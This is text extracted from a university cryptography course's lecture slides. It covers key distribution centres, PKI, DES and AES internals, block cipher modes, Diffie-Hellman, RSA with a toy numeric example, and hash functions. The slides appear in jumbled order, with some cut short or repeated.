Symmetric Key Distribution with KDC
Wenjing Zhang
• Typically used within private or internal networks
• Corporate Security:
– Enterprise Wi-Fi Security: WPA-Enterprise encryption for Wi-Fi
where the KDC part of RADIUS servers authenticates users.
– Single Sign-On (SSO) Systems: Centralized authentication services
allowing users to log in once and access multiple applications securely.
• Telecommunications:
– 4G/5G Networks: Mobile networks use KDCs to manage encryption
keys for securing communication between cell phones and network
towers.
– VoIP Services: Encrypted voice communication services such as Skype
for Business where KDCs facilitate secure key exchange for sessions.
• Streaming:
– Media Streaming Services: Platforms like Netflix use session keys for
DRM protection, often distributed by a KDC-like system.
• Financial Services:
– ATM Transactions: Banks use KDCs to authenticate and secure
communications between ATMs and their network.
55
CIS 4520
Introduction to
Cryptography
Public Key Infrastructure with CA
Wenjing Zhang
• Typically used on the public internet
• Online Banking: Websites use SSL/TLS certificates from
CAs for secure customer transactions.
• Software Updates: Microsoft, Apple, and others use CA-
signed certificates for authenticating updates.
• Email Encryption: Outlook and other email clients utilize
S/MIME with CA verification for secure communication.
• Document Signing: Adobe Acrobat allows CA-verified
digital signatures on PDFs.
• Mobile App Stores: App Store and Google Play use CA-
signed certificates to verify app integrity.
• SSH for Servers: System administrators use CA-signed SSH
keys for secure server access.
56
CIS 4520
Introduction to
Cryptography
Summary
Wenjing Zhang
• The basic mechanisms of Trusted Third
Parties for distributed authentication using
different crypto methods
– Symmetric key: KDC (Key Distribution Center,
the key concept of ticket)
– Asymmetric key: CA (Certification Authority,
the heart of X.509 standard )
• The practical protocols of distributed
authentication
– Symmetric key: Kerberos
– Asymmetric key: X.509 (will be introduced in
the lecture on Network Security)
57
CIS 4520
Introduction to
Cryptography
Wrap-up
– Cryptography
• Basic concepts
• Classic Cryptography
• Modern symmetric cryptography
• Asymmetric cryptography
• Cryptographic hash
– Authentication
• Password-based authentication
• Authentication in a distributed system
• The Public Key Infrastructure
58
CIS 4520
Introduction to
Cryptography
Slides Refences
Wenjing Zhang
Modern Cryptography
Wenjing Zhang
[email protected]
CIS 4520
Introduction to
Cryptography
Modern Cryptography
• Post-WW-II cryptography
Wenjing Zhang
2
CIS 4520
Introduction to
Cryptography
Introduction to DES
– efficient
– useful in diverse applications
• First open solicitation: May 1973
• Second solicitation: August 1974
3
CIS 4520
Introduction to
Cryptography
Introduction to DES
4
CIS 4520
Introduction to
Cryptography
Recap: Stream and Block Ciphers
6
CIS 4520
Introduction to
Cryptography
Introduction to DES
7
CIS 4520
Introduction to
Cryptography
Introduction to DES
8
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
DES Encryption
Overview
9
CIS 4520
Introduction to
Cryptography
DES
10
CIS 4520
Introduction to
Cryptography
DES
Wenjing Zhang • For each block
– Initial permutation
– 16 rounds of substitution and permutation
– Final permutation
• Each round (Feistel cipher 𝑓):
– Li = Ri - 1
Li-1 Ri-1
– Ri = Li−1⊕ f (Ri−1, ki)
Ki
f
Li Ri
11
CIS 4520
Introduction to
Cryptography
DES
• Initial Permutation
Wenjing Zhang
58 50 42 34 26 18 10 2 60 52 44 36 28 20 12 4
62 54 46 38 30 22 14 6 64 56 48 40 32 24 16 8
57 49 41 33 25 17 9 1 59 51 43 35 27 19 11 3
61 53 45 37 29 21 13 5 63 55 47 39 31 23 15 7
13
CIS 4520
Introduction to
Cryptography
DES
– Li = Ri - 1
– Ri = Li−1⊕ f (Ri−1, ki)
Li-1 Ri-1
Ki
f
Li Ri
14
CIS 4520
Introduction to
Cryptography
DES: Round Function F
• Each round:
Wenjing Zhang
The Feistel (F) function
32 bit 32 bit 56 bit
48 bit
48 bit
32 bit
32 bit
32 bit
15
CIS 4520
Introduction to
Cryptography
DES
Wenjing Zhang
• Expansion permutation
32 bit
– R: from 32 bits to 48 bits
– Some bits used twice
32 1 2 3 4 5
4 5 6 7 8 9
48 bit Ki:48 bit
8 9 10 11 12 13
12 13 14 15 16 17
16 17 18 19 20 21
20 21 22 23 24 25
24 25 26 27 28 29
28 29 30 31 32 1
32 1 2 3 4 5 4 5 6 7 8 9 8 9 10 11 12 13 12 13 14 15 16 17 16 17 18 19 20 21 20 21 22 23 24 25 24 25 26 27 28 29 28 29 30 31 32 1
16
CIS 4520
Introduction to
Cryptography
DES
• Expansion permutation
Wenjing Zhang 32 bit
17
CIS 4520
Introduction to
Cryptography
DES
– “Key mixing”
– Simple bit-wise XOR with
round-i-key Ki (48 bits!)
48 bit
– How to generate Ki ? Ki:48 bit
– Later…
18
CIS 4520
Introduction to
Cryptography
DES
box S2
– Block 3 goes through
box S3
– …
– Block 8 goes through
box S8
19
CIS 4520
Introduction to
Cryptography
DES
32 bit
20
CIS 4520
Introduction to
Cryptography
DES
21
CIS 4520
Introduction to
Cryptography
DES
• S-box 1:
Wenjing Zhang
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
0 14 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7
1 0 15 7 4 14 2 13 1 10 6 12 11 9 5 3 8
2 4 1 14 8 13 6 2 11 15 12 9 7 3 10 5 0
3 15 12 8 2 4 9 1 7 5 11 3 14 10 0 6 13
22
CIS 4520
Introduction to
Cryptography
DES
• S-box 1:
Wenjing Zhang
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
0 14 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7
1 0 15 7 4 14 2 13 1 10 6 12 11 9 5 3 8
2 4 1 14 8 13 6 2 11 15 12 9 7 3 10 5 0
3 15 12 8 2 4 9 1 7 5 11 3 14 10 0 6 13
23
CIS 4520
Introduction to
Cryptography
DES
• S-box 1:
Wenjing Zhang
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
0 14 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7
1 0 15 7 4 14 2 13 1 10 6 12 11 9 5 3 8
2 4 1 14 8 13 6 2 11 15 12 9 7 3 10 5 0
3 15 12 8 2 4 9 1 7 5 11 3 14 10 0 6 13
24
CIS 4520
Introduction to
Cryptography
DES
• S-box 1:
Wenjing Zhang
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
0 14 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7
1 0 15 7 4 14 2 13 1 10 6 12 11 9 5 3 8
2 4 1 14 8 13 6 2 11 15 12 9 7 3 10 5 0
3 15 12 8 2 4 9 1 7 5 11 3 14 10 0 6 13
25
CIS 4520
Introduction to
Cryptography
DES
– Input: 32 bits
– Bits are rearranged according
to a fixed permutation.
48 bit
– Output: 32 bits Ki:48 bit
– Why P-box?
– Add diffusion 32 bit
S1 S2 S3 S4 S5 S6 S7 S8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
16 7 20 21 29 12 28 17 1 15 23 26 5 18 31 10 2 8 24 14 32 27 3 9 19 13 30 6 22 11 4 25
27
CIS 4520
Introduction to
Cryptography
DES Round in Full
Wenjing Zhang
Right Half i-1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
32 1 2 3 4 5 4 5 6 7 8 9 8 9 10 11 12 13 12 13 14 15 16 17 16 17 18 19 20 21 20 21 22 23 24 25 24 25 26 27 28 29 28 29 30 31 32 1
Round Key i
+
O 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
input symbol input symbol input symbol input symbol input symbol input symbol input symbol input symbol
control
control
control
control
control
control
control
control
S1 S2 S3 S4 S5 S6 S7 S8
output symbol output symbol output symbol output symbol output symbol output symbol output symbol output symbol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
16 7 20 21 29 12 28 17 1 15 23 26 5 18 31 10 2 8 24 14 32 27 3 9 19 13 30 6 22 11 4 25
+
O 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
Right Half i
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
28
CIS 4520
Introduction to
Cryptography
DES
• Each round:
Wenjing Zhang
29
CIS 4520
Introduction to
Cryptography
DES
• Key Schedule
Wenjing Zhang
30
– select 48 of the 56 bits
CIS 4520
Introduction to
Cryptography
DES
• Key Schedule
Wenjing Zhang
permuted
choice 1
57 49 41 33 25 17 9 1 58 50 42 34 26 18 10 2 59 51 43 35 27 19 11 3 60 52 44 36 63 55 47 39 31 23 15 7 62 54 46 38 30 22 14 6 61 53 45 37 29 21 13 5 28 20 12 4
56-bit key 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
Left
Shift
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 1 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 29
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
permuted
choice 2
14 17 11 24 1 5 3 28 15 6 21 10 23 19 12 4 26 8 16 7 27 20 13 2 41 52 31 37 47 55 30 40 51 45 33 48 44 49 39 56 34 53 46 42 50 36 29 32
48-bit subkey 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
31
CIS 4520
Introduction to
Cryptography
DES
Wenjing Zhang
• The overall process • Design elements
– block size
– key size
– number of
rounds
– subkey
generation
algorithm
– round function
– fast software
en/decryption
– ease of analysis
32
CIS 4520
Introduction to
Cryptography
DES Decryption
computation
• With Feistel design, do encryption steps
again using subkeys in reverse order
(SK16 … SK1)
– IP undoes final FP step of encryption
– 1st round with SK16 undoes 16th encrypt
round
– ….
– 16th round with SK1 undoes 1st encrypt round
– then final FP undoes initial encryption IP
– thus recovering original data value
33
CIS 4520
Introduction to
Cryptography
Fundamentals of DES
Wenjing Zhang
• Confusion: Utilizes S-boxes for complex key-ciphertext
relationships, ensuring small key changes cause major
ciphertext alterations.
• Diffusion: Employs P-boxes and a Feistel structure to spread
plaintext and key influences, so bit alterations affect much of
the ciphertext.
• Avalanche Effect: Designed to ensure a single input bit
change drastically alters many output bits, enhancing security.
• Reversibility: Features a Feistel network, making encryption
and decryption processes similar, simplifying implementation.
• Efficiency: Optimized for performance in both hardware and
software, considering the computational limits of the era.
• Open Standard: Subjected to thorough public examination,
bolstering trust in its security capabilities.
• Adaptability: Flexible for various applications, contributing to
its broad acceptance and use as a federal standard.
34
CIS 4520
Introduction to
Cryptography
DES
• Strength of DES
Wenjing Zhang
35
CIS 4520
Introduction to
Cryptography
DES
– Double DES
– Encrypt the plaintext twice with two different
DES keys
– Key length increases to 112 bits
– Unfortunately, this is not more secure than
doing DES
– Meet-in-the-middle attack
36
CIS 4520
Introduction to
Cryptography
Meet-in-the-middle attack
Wenjing Zhang
P X
Encryption E E C
Observation:
K1 K2
X’ X=EK1(P)=DK2(C)
Decryption P D D C
37
CIS 4520
Introduction to
Cryptography
DES
– Triple DES
– Encrypt the plaintext three times
– With two (or three) different DES keys
– Key length increases to 112 bits (or 168 bits)
– for each block:
• encrypt with key 1
• decrypt with key 2 (this doesn’t really decrypt the
message!)
• encrypt with key 1
• If one key is used, it’s equivalent to doing DES
once.
38
CIS 4520
Introduction to
Cryptography
AES: Advanced Encryption Standard
39
CIS 4520
Introduction to
Cryptography
Advanced Encryption Standard
Wenjing Zhang
• NIST have released all submissions &
unclassified analyses
– 15 candidates: 1998
– 5 finalists: 1999
– MARS (IBM) - complex, fast, high-security margin
– RC6 (USA) - v. simple, v. fast, low-security margin
– Rijndael (Belgium) - clean, fast, good security margin
– Serpent (Euro) - slow, clean, v. high-security margin
– Twofish (USA) - complex, v. fast, high-security margin
40
CIS 4520
Introduction to
Cryptography
Advanced Encryption Standard
• Winner: Rijndael
Wenjing Zhang
42
CIS 4520
Introduction to
Cryptography
AES (Rijndael) Overview
• In each round
– SubBytes: non-linear byte substitution
– ShiftRows: circular byte shift in each row
– MixColumns: add diffusion
– AddRoundKey: bitwise XOR
43
CIS 4520
Introduction to
Cryptography
State array
Wenjing Zhang The AES State array is a data structure used in the
encryption and decryption process to hold an
intermediate representation of the data.
44
CIS 4520
Introduction to
Cryptography
AES: SubBytes
SubBytes: table lookup with a 16x16 S-box of bytes
Wenjing Zhang
Example:
S1,1 = 10001011(8b)
S’1,1 = value at row 8 and column b (11) in the S-box
46
CIS 4520
Introduction to
Cryptography
AES: SubBytes
Wenjing Zhang
S-box: lookup table with 16x16 bytes
47 47
CIS 4520
Introduction to
Cryptography
AES: ShiftRows
•
Wenjing Zhang
1st row is unchanged
• 2nd row does 1 byte circular shift to left
• 3rd row does 2 byte circular shift to left
• 4th row does 3 byte circular shift to left
48
CIS 4520
Introduction to
Cryptography
AES: MixColumns
on polynomial arithmetic
• each byte is replaced by a value dependent
on all 4 bytes in the column
S’0,0=2S0,0+3S1,0+1S2,0+1S3,0
49
CIS 4520
Introduction to
Cryptography
AES: AddRoundKey
50
CIS 4520
Introduction to
Cryptography
AES: the complete round
Wenjing Zhang
51 51
CIS 4520
Introduction to
Cryptography
AES: the complete round visualization
Wenjing Zhang
52
CIS 4520
Introduction to
Cryptography
S-Box Rationale
54
CIS 4520
Introduction to
Cryptography
Summary: Four Stages
Wenjing Zhang One permutation and three substitutions
• DES
Wenjing Zhang
• AES
– Secure (at least for now)
– Efficient
– Applicable in a wide range of applications
56
CIS 4520
Introduction to
Cryptography
How to encrypt large messages?
58
CIS 4520
Introduction to
Cryptography
Electronic Codebook (ECB)
Wenjing Zhang
• Each block is encoded independently using the
same key
M1 M2 M3 M4
64 64 64 40 pad
C1
C1 C2
C2 C3
C3 C4
C4
𝐶𝑗 = 𝐄(𝐾, 𝑀𝑗 )
59
CIS 4520
Introduction to
Cryptography
Electronic Codebook (ECB)
Wenjing Zhang
• Each block is encoded independently using the
same key
– Deterministic
• Repeated data blocks in plaintext will reveal a pattern
• E.g., tcp headers, mail headers, etc., long strings of 0's.
– No chaining dependency
• Reordered ciphertext → reordered plaintext
– No error propagation
• Error in 𝐶𝑖 only results in error in the corresponding 𝑃𝑖
– Used in secure transmission of a single value
• Not recommend for encrypting more than 1 data block
with the same key
60
CIS 4520
Introduction to
Cryptography
Cipher Block Chaining (CBC)
ciphertext block
M1 M2 M3 M4
64 64 64 40 pad
IV
C1
C1 C2
C2 C3
C3 C4
C4
𝐶1 = 𝐄(𝐾, 𝑀1 ⊕ 𝐼𝑉)
𝐶𝑗 = 𝐄(𝐾, 𝑀𝑗 ⊕ 𝐶𝑗−1 )
61
CIS 4520
Introduction to
Cryptography
Cipher Block Chaining (CBC)
ciphertext block
– Randomized
• Repeated data blocks are encrypted differently
• Secure if IV is random
– Chaining dependent
• Reorder affects decryption
– Error propagates
• Error in 1 ciphertext block propagates to 2 blocks in
decryption, but no further
– Used in secure transmission, authentication
62
CIS 4520
Introduction to
Cryptography
Cipher Feedback (CFB)
• Block encryption
Wenjing Zhang
– b-bit IV; use the same key to get b-bit output
• Leftmost 𝑠 bits of the output
– Is XORed with a s-bit message segment
– Is fed back to the shift register
• Shift register
– Shifts left 𝑠 bits; fills the rightmost bits with 𝑠-bit ciphertext
63
CIS 4520
Introduction to
Cryptography
CFB Properties
• Randomized
Wenjing Zhang
64
CIS 4520
Introduction to
Cryptography
Cipher Feedback (CFB)
65
CIS 4520
Introduction to
Cryptography
Output Feedback (OFB)
Wenjing Zhang
• Leftmost 𝑠 bits of the encryption output is fed
back to the shift register
66
CIS 4520
Introduction to
Cryptography
OFB Properties
Wenjing Zhang
• Randomized
– Repeated data blocks encrypted with different
keys
– Secure if IV is random
• Chaining independent
– Reorder does not affect decryption
– Key stream is plaintext-independent: allow
pre-computing of pseudo-random stream
• No error propagation
– Preceding ciphertext is not involved in later
encryption
• Used in stream-oriented transmission over
noisy channel (satellite communication)
67
CIS 4520
Introduction to
Cryptography
Encryption Modes for Real-world Applications
Wenjing Zhang
• ECB (Electronic Codebook)
– Used for small, unique data sets where pattern recognition is not a
concern.
– Examples: Encrypting keys in a Digital Rights Management system,
encrypting individual items without patterns (e.g., single-use tokens).
• CBC (Cipher Block Chaining)
– Common in secure file transfer and disk encryption.
– Examples: HTTPS communications, VPN data transfer, full disk
encryption in laptops and external drives.
• CFB (Cipher Feedback)
– self-synchronizing stream cipher.
– Examples: Voice over IP (VoIP) calls, encrypted messaging apps,
real-time video conferencing encryption.
• OFB (Output Feedback)
– Suitable for streaming data where error propagation must be avoided.
– Examples: Live video streaming, satellite data transmission, secure
radio communication.
68
CIS 4520
Introduction to
Cryptography
Counter Mode (CTR)
69
CIS 4520
Introduction to
Cryptography
Reading Assignment for Next Class
Wenjing Zhang
secret-key cryptosystem:
71
CIS 4520
Introduction to
Cryptography
Secret Key Cryptography
secret-key cryptosystem:
72
CIS 4520
Introduction to
Cryptography
Secret Key Cryptography
• For n people
73
CIS 4520
Introduction to
Cryptography
Secret Key Cryptography
• For n people
– 2 people: 1 key
74
CIS 4520
Introduction to
Cryptography
Secret Key Cryptography
• For n people
– 2 people: 1 key
– 3 people: 3 keys
75
CIS 4520
Introduction to
Cryptography
Secret Key Cryptography
• For n people
– 2 people: 1 key
– 3 people: 3 keys
– 4 people: 6 keys
76
CIS 4520
Introduction to
Cryptography
Secret Key Cryptography
• For n people
– 2 people: 1 key
– 3 people: 3 keys
– 4 people: 6 keys
– 5 people: 10 keys
77
CIS 4520
Introduction to
Cryptography
Secret Key Cryptography
• For n people
– n people: n(n-1)/2 keys
• O(n2)
• We don’t like anything more than O(n)…
– Can we ask all n people to share the same key?
– Do we have a better way to generate and
distribute keys?
78
CIS 4520
Introduction to
Cryptography
Key Distribution/Agreement
• Key Distribution
Wenjing Zhang
79
CIS 4520
Introduction to
Cryptography
Diffie-Hellman Key Agreement
breakthrough in 1976,
– Started the modern age of cryptography
– To establish a shared secret number between
two parties using a public communication
channel.
80
CIS 4520
Introduction to
Cryptography
Intuition: Exchange of Colors
Wenjing Zhang
Source:
Wikipedia
81
CIS 4520
Introduction to
Cryptography
Diffie-Hellman Key Exchange
Wenjing Zhang
82
CIS 4520
Introduction to
Cryptography
Diffie-Hellman Protocol: Example
Wenjing Zhang
Source:
Wikipedia
83
CIS 4520
Introduction to
Cryptography
Why Diffie-Hellman is Secure?
84
CIS 4520
Introduction to
Cryptography
Attacks on Diffie-Hellman
85
CIS 4520
Introduction to
Cryptography
Man-in-the-Middle Attack
Wenjing Zhang
• Frank intercepts and may alter messages between Alice and Bob.
• Attack compromises confidentiality and integrity of Alice and
Bob's communication.
• Additional security measures required for authentication.
86
CIS 4520
Introduction to
Cryptography
Reading Assignment for Next Class
Wenjing Zhang
Wenjing Zhang
Elementary Cryptography
Kpub K
pri
89
CIS 4520
Introduction to
Cryptography
Asymmetric Encryption
Wenjing Zhang
• Public Key Cryptography
– Public key: anyone can know
– Private key: only known to the owner
• The keys are inverses of each other:
– Anything encrypted with your public key can only be
decrypted with your private key; it cannot be decrypted
by your public key!
– Anything encrypted with your private key can only be
decrypted with your public key; it cannot be decrypted
with your private key!!
Kpub K
pri
90
CIS 4520
Introduction to
Cryptography
Asymmetric Encryption
91
CIS 4520
Introduction to
Cryptography
Asymmetric Encryption
K B_pub K
B_pri
92
CIS 4520
Introduction to
Cryptography
Asymmetric Encryption
Wenjing Zhang
• Authentication: prove you are who you say you
are (a process that confirms a user's identity)
• Digital signatures
– Should work like handwritten signatures: verify the
sender of the document
– Alice sends a message to Bob
– How can Alice prove that she is the real sender?
– Alice sends the message encrypted with her private key
– Bob decrypts with Alice’s public key.
K A_pri K
A_pub
93
CIS 4520
Introduction to
Cryptography
Asymmetric Encryption
Wenjing Zhang
• Authentication: prove you are who you say you
are (a process that confirms a user's identity)
• Digital signatures
– Could also send two copies:
– One clear
– One encrypted with Alice’s private key
– Why?
K A_pri K
A_pub
94
CIS 4520
Introduction to
Cryptography
Asymmetric Encryption
Wenjing Zhang
• Authentication: prove you are who you say you
are (a process that confirms a user's identity)
• Digital signatures
– Why?
• You can still read the message without decryption.
K A_pri K
A_pub
95
CIS 4520
Introduction to
Cryptography
Asymmetric Encryption
Wenjing Zhang
• Authentication: prove you are who you say you
are (a process that confirms a user's identity)
• Digital signatures
– Why?
• You can still read the message without decryption.
– Problem with it?
K A_pri K
A_pub
96
CIS 4520
Introduction to
Cryptography
Asymmetric Encryption
Wenjing Zhang • Authentication: prove you are who you say you
are (a process that confirms a user's identity)
• Digital signatures
– Why?
• You can still read the message without decryption.
– Problem with it?
• The size of the message is doubled.
– Solution? No need to encrypt the entire message!
• Just a “digest” of the message.
K A_pri K
A_pub
97
CIS 4520
Introduction to
Cryptography
Asymmetric Encryption
Wenjing Zhang
• How to provide both confidentiality and
authenticity?
– Alice both signs and encrypts the message
– Could either:
– EA_pri(EB_pub(M))
– or
– EB_pub(EA_pri(M))
K A_pri K B_pub K K
A_pub B_pri
98
CIS 4520
Introduction to
Cryptography
RSA
Wenjing Zhang
• Diffie-Hellman key exchange (1976)
• RSA
Wenjing Zhang
– Key generation
– Encryption
– Decryption
100
CIS 4520
Introduction to
Cryptography
RSA
102
CIS 4520
Introduction to
Cryptography
RSA
• RSA Encryption
Wenjing Zhang
• RSA Decryption
– Given: ciphertext c, and private key <d, n>
– Compute m = cd mod n
103
CIS 4520
Introduction to
Cryptography
RSA
• Decryption: cd = (me)d=med
• In key generation:
d ≡ e-1 mod φ(n) ➔ de ≡1 mod φ(n) ➔ de=kφ(n)+1
• Hence,
cd = med = mkφ(n)+1=m*(mφ(n))k
• Euler's theorem (the Fermat–Euler theorem
or Euler's totient theorem):
mφ(n) ≡1 mod n
• Therefore
m*(mφ(n))k ≡ m*(1)k ≡ m (mod n)
104
CIS 4520
Introduction to
Cryptography
RSA
Wenjing Zhang
• Select two “large” primes p and q; (p != q)
– p = 17, q = 13
105
CIS 4520
Introduction to
Cryptography
RSA
Wenjing Zhang
• Select two “large” primes p and q; (p != q)
– p = 17, q = 13
• Calculate n = pq
– n = 221
106
CIS 4520
Introduction to
Cryptography
RSA
Wenjing Zhang
• Select two “large” primes p and q; (p != q)
– p = 17, q = 13
• Calculate n = pq
– n = 221
• Calculate φ(n) = (p-1)(q-1)
– 16*12 = 192
107
CIS 4520
Introduction to
Cryptography
RSA
Wenjing Zhang
• Select two “large” primes p and q; (p != q)
– p = 17, q = 13
• Calculate n = pq
– n = 221
• Calculate φ(n) = (p-1)(q-1)
– 16*12 = 192
• Select a random integer e, 1<e<φ(n), and e is
relatively prime to φ(n): gcd(e, φ(n))=1
– Choose 11
108
CIS 4520
Introduction to
Cryptography
RSA
Wenjing Zhang
• Select two “large” primes p and q; (p != q)
– p = 17, q = 13
• Calculate n = pq
– n = 221
• Calculate φ(n) = (p-1)(q-1)
– 16*12 = 192
• Select a random integer e, 1<e<φ(n), and e is
relatively prime to φ(n): gcd(e, φ(n))=1
– Choose 11
• Compute d, 1<d<φ(n), and d ≡ e-1 mod φ(n)
– Pick 35: 35*11 = 385 = 2*192+1
109
CIS 4520
Introduction to
Cryptography
RSA
Wenjing Zhang
• Select two “large” primes p and q; (p != q)
– p = 17, q = 13
• Calculate n = pq
– n = 221
• Calculate φ(n) = (p-1)(q-1)
– 16*12 = 192
• Select a random integer e, 1<e<φ(n), and e is
relatively prime to φ(n): gcd(e, φ(n))=1
– Choose 11
• Compute d, 1<d<φ(n), and d ≡ e-1 mod φ(n)
– Pick 35: 35*11 = 385 = 2*192+1
Public key: <e, n> = <11, 221>
Private key: <d, n> = <35, 221>
110
CIS 4520
Introduction to
Cryptography
RSA
• Encrypt: “MAIL”
Wenjing Zhang
111
CIS 4520
Introduction to
Cryptography
RSA Security: Difficulty of Factoring
• Cryptanalysis:
Wenjing Zhang
112
CIS 4520
Introduction to
Cryptography
RSA Security: Difficulty of Factoring
• Cryptanalysis:
Wenjing Zhang
• Cryptanalysis
Wenjing Zhang
114
CIS 4520
Introduction to
Cryptography
RSA
116
CIS 4520
Introduction to
Cryptography
RSA vs. Symmetric Key Encryption
117
CIS 4520
Introduction to
Cryptography
RSA vs. Symmetric Key Encryption
• Mathematical Foundation
Wenjing Zhang
119
CIS 4520
Introduction to
Cryptography
RSA + Symmetric Key
120
CIS 4520
Introduction to
Cryptography
Reading Assignment for Next Class
Wenjing Zhang
• Chapter 11 cryptographic hash function, Section
11.1 - 11.3 of Cryptography and Network
Security: Principles and Practice. 2017. (7th Ed.)
William Stallings. Pearson Education.
Wenjing Zhang
Elementary Cryptography
Data Integrity
CIS 4520
Introduction to
Cryptography
Message Authentication Codes
authentication
MAC = CK(M)
– C mac function
– K shared secret key
– M message
• The block is called
– cryptographic checksum or
– Message Authentication Code (MAC)
• MACs verify
– that the message came from A
– that message has not been altered
123
CIS 4520
Introduction to
Cryptography
An Example of MAC Use
Wenjing Zhang
Source: Wikipedia
124
CIS 4520
Introduction to
Cryptography
Cryptographic Hash Functions
125
CIS 4520
Introduction to
Cryptography
Cryptographic Hash Functions
Source:
Wenjing Zhang
Wikipedia
126
CIS 4520
Introduction to
Cryptography
Cryptographic Hash Functions
hash tables
• Cryptographic hashes are one way:
– Given M, it's easy to compute H(M)
– Given H(M), should be very difficult to
produce M
– or any M' where H(M') = H(M)
• “Collision”
– Implies uniform distribution of hash values
• Example cryptographic hashes:
– Insecure: MD5 – 128 bits; SHA1 – 160 bits
– SHA-2 224, 256, etc.; SHA-3 224, 256, etc.
127
CIS 4520
Introduction to
Cryptography
Cryptographic Hash Functions
128
CIS 4520
Introduction to
Cryptography
Cryptographic Hash Functions
129
CIS 4520
Introduction to
Cryptography
Cryptographic Hash Functions
• Collision Resistance
Wenjing Zhang
131
CIS 4520
Introduction to
Cryptography
Collision Resistance in Hash Functions
Wenjing Zhang • Protocol Efficiency:
– Allows cryptographic protocols to operate with compact
hash values instead of large data sets.
• Digital Signature Protection:
– Prevents signature forgery by making it infeasible to find
two documents with the same hash.
• PKI Trust:
– Supports the integrity of Public Key Infrastructure by
preventing certificate collisions.
• Blockchain Stability:
– Supports the security of blockchain transactions and mining
processes.
132
CIS 4520
Introduction to
Cryptography
Reading Assignment for Next Class
Wenjing Zhang
Classical Cryptography
Wenjing Zhang
[email protected]
CIS 4520
Introduction to Topic in Cryptography
Cryptography
• Basic Concepts
Wenjing Zhang
• Classical cryptography
• Modern cryptography
2
CIS 4520
Introduction to
Cryptography
Wenjing Zhang
Elementary Cryptography
Introduction
CIS 4520
Introduction to Elementary Cryptography
Cryptography
4
CIS 4520
Introduction to Security Goals (CIA)
Cryptography
5
CIS 4520
Introduction to Terminology
Cryptography
Wenjing Zhang
• Cryptography: encipherment, digital signature,
authentication exchange, …
– S: sender (Alice)
– R: recipient (Bob)
– O: outsider or intruder
• Chuck: general intruder; Eve: eavesdropper; Mallory:
malicious attacker
– O might try to: block, intercept, modify, fabricate
Alice’s Bob’s
K encryption K decryption
A
key B key
6
CIS 4520
Introduction to Terminology
Cryptography
• Cryptosystem
Wenjing Zhang
7
CIS 4520
Introduction to Terminology
Cryptography
• Cryptosystem
Wenjing Zhang
8
CIS 4520
Introduction to Terminology
Cryptography
• Cryptosystem
Wenjing Zhang
9
CIS 4520
Introduction to Terminology
Cryptography
10
CIS 4520
Introduction to Cryptography and Cryptanalysis
Cryptography
to
– enumerate all possible keys
– find the key from any reasonable amount of
ciphertext and plaintext by enumerating
possible keys
– produce plaintext from ciphertext without the
key
– distinguish ciphertext from true random values
11
CIS 4520
Introduction to Cryptography and Cryptanalysis
Cryptography
– Keys
– Cipher algorithms
12
CIS 4520
Introduction to Cryptography and Cryptanalysis
Cryptography
• Restricted Algorithms
Wenjing Zhang
• Kerckhoffs’ Law
Wenjing Zhang
14
CIS 4520
Introduction to Cryptography and Cryptanalysis
Cryptography
15
CIS 4520
Introduction to Cryptanalysis: Ciphertext Only Attacks
Cryptography
Wenjing Zhang
• Concept
– Attackers exploit encrypted data (ciphertext) itself,
without additional information, to breach security.
• Objective:
– To discover the original plaintext or decrypt the key.
• Strategies:
– Brute Force: Attempting every key until the correct
plaintext is found.
– Pattern Detection: Searching for known plaintext
structures within the ciphertext.
– Statistical Analysis: Using large volumes of ciphertext
to identify patterns, which may expose plaintext or
encryption keys if the algorithm has weaknesses.
• Example: frequency leakage
16
CIS 4520
Introduction to Cryptanalysis: Known Plaintext Attacks
Cryptography
Wenjing Zhang
• Concept:
– Attackers possess both the unencrypted message
(plaintext) and the encrypted version (ciphertext).
• Objective:
– To infer the encryption key for decrypting other
messages with the same key.
• Strategy:
– Attackers analyze given plaintext-ciphertext pairs
through observation; they cannot determine the
encryption input but must use existing data.
• Key Point:
– Aims to reverse-engineer the encryption key from
known data pairs without altering the encryption input.
17
